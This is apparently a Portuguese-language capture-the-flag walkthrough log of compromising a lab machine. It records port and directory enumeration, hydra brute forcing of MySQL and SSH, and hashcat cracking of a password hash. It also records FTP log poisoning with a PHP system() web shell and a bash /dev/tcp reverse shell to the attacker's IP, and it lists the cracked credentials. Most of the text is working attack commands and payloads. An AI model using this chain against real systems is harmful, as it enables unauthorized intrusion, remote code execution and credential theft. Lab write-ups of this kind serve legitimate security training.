Diretorios encontrado
200 GET 34l 67w 1080c http://10.10.147.84/index.php
200 GET 34l 67w 1080c http://10.10.147.84/
200 GET 0l 0w 0c http://10.10.147.84/config.php
302 GET 0l 0w 0c http://10.10.147.84/logout.php => index.php
302 GET 0l 0w 0c http://10.10.147.84/welcome.php => login.php
Portas abertas
21/tcp open ftp
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
Tentei fazer um brute force no mysql
hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://10.10.147.84
#Achou: root:rockyou
mysql -h 10.10.147.84 -u root -p --skip-ssl
Entrei e peguei uma credencial, consegui quebrar com
hashcat -a 0 -m 3200 hash /usr/share/wordlists/rockyou.txt
#Achou: Adrian:tigger
Ao entrar podemos ver que vai ter que ser um Log, ela retorna dados do FTP, então temos que fazer Log Poision no ftp
ftp '<?php echo system($_REQUEST['cmd']); ?>'@10.10.147.84
Minha maquina: nc -nlvp 9001
Burp: log=Log&cmd=bash+-c+'exec+bash+-i+%26%3E%2Fdev%2Ftcp%2F10.23.110.74%2F9001+%3C%261'
Indo ate o /home/adrian/.reminder ele fala sobre uma regra, então eu fiz o que ele pediu
cat append_exclamation.rule
$!
hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule -r append_exclamation.rule > passlist.txt
Agora vamos fazer o brute force dentro do ssh
hydra -l adrian -P passlist.txt ssh://10.10.252.66
#adrian:theettubrute!